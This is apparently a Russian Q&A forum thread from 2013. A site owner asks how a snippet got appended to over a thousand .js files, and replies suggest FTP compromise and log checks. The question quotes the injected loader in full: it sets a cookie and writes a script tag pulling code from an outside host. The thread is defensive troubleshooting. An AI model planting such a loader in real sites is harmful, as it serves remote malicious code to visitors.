0

Подскажите, пожалуйста, каким образом на сайте во всех файлах формата .js в конце документа оказалось вот такая строка.

function g() {
    var r = new RegExp("(?:; )?1=([^;]*);?");
    return r.test(document.cookie) ? true : false
}
var e = new Date();
e.setTime(e.getTime() + (2592000000));
if (!g() && window.navigator.cookieEnabled) {
    document.cookie = "1=1;expires=" + e.toGMTString() + ";path=/";
    document.write('<scr' + 'ipt     src="http://ratingsite.org/ratingsite.php"></scr' + 'ipt>');
}

Кто ее мог добавить, если доступа никто не имел и как этого избежать в будущем. Эта строка была в 1080 файлах.

Из за этой строки Google посчитал этот сайт вредоносным, и не один браузер не хотел открывать.

3
  • > Эта строка была в 1080 файлах. И что вручную чистили? если была?
    – Palmervan
    13 фев 2013 в 11:16
  • Не вручную. Notepad++ все сделал за меня.
    – webkostya
    13 фев 2013 в 11:26
  • Подземный стук?
    – VladD
    13 фев 2013 в 13:42

1 ответ 1

5

Причиной этого может быть :

  • дыра в каком-то софте, в вордпрессе там или чем-то подобном
  • вирус у вас на компе,
  • проблема с безопасностью хостера (недавно в plesk была уязвимость)
  • простой ftp пароль

запросите у хостера лог ftp логинов, если еще раз появится посмотрите дату изменения файла, передайте эту дату в саппорт хостера.


так как похоже на ftp то:


варианты (в порядке вероятности)

  • слабый пароль (gfhjkmujksqrjhjkm сильным не является)
  • вирус на компе того, кто имеет доступ к ftp
  • взлом почты (слабый пароль на почте, дурацкий секретный вопрос)
  • дыра в софте хостера, пароли утекли.
  • man in the middle
10
  • а в логах что написано ? рядом с тем IP
    – zb'
    13 фев 2013 в 11:31
  • Написано типа открыт такой то файл и все. Короче список всех файлов которые были отредактированы, насколько я понимаю это какой то прогой прогнали по хостингу.
    – webkostya
    13 фев 2013 в 11:54
  • 3
    открыт чем ? ip так просто файлы не открывают. делается обычно с таких-же дырявых сайтов ботами. (кусок лога с ip покажите, а не вашу интерпретацию, без этого вас сломают еще не раз)
    – zb'
    13 фев 2013 в 12:51
  • Приношу извинения, но логи будут только завтра, так как они у боса на компе.
    – webkostya
    13 фев 2013 в 13:06
  • ВОТ СТРОКА ИЗ ЛОГОВ Tue Feb 05 23:22:22 2013 0 37.9.55.246 94020 /home/kpiru/public_html/Kp/scripts/1.1/jquery-1.7.min.js b _ o r [email protected] ftp 1 * c И ТАКИХ ЗАПРОСОВ ПОДРЯД БОЛЬШЕ ТЫСЯЧИ.
    – webkostya
    14 фев 2013 в 6:43

Ваш ответ

By clicking “Отправить ответ”, you agree to our terms of service and acknowledge you have read our privacy policy.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками или задайте свой вопрос.